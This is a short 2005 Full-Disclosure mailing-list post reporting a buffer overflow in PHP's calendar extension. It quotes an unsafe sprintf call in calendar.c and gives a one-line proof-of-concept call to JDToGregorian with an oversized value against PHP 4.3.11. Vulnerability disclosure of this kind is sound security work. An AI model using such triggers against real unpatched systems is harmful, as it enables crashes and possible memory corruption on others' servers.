full-disclosure - PHP: Calendar Buffer Overflow

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Date: Mon Jun 27 05:34:25 2005
From: FistFuXXer at gmx.de (FistFucker)
Subject: PHP: Calendar Buffer Overflow

There are some nice sprintf()'s in "\ext\calendar\calendar.c":
'sprintf(date, "%i/%i/%i", month, day, year);'

Example exploitation (4.3.11):


<?php

  JDToGregorian(999999999);

?>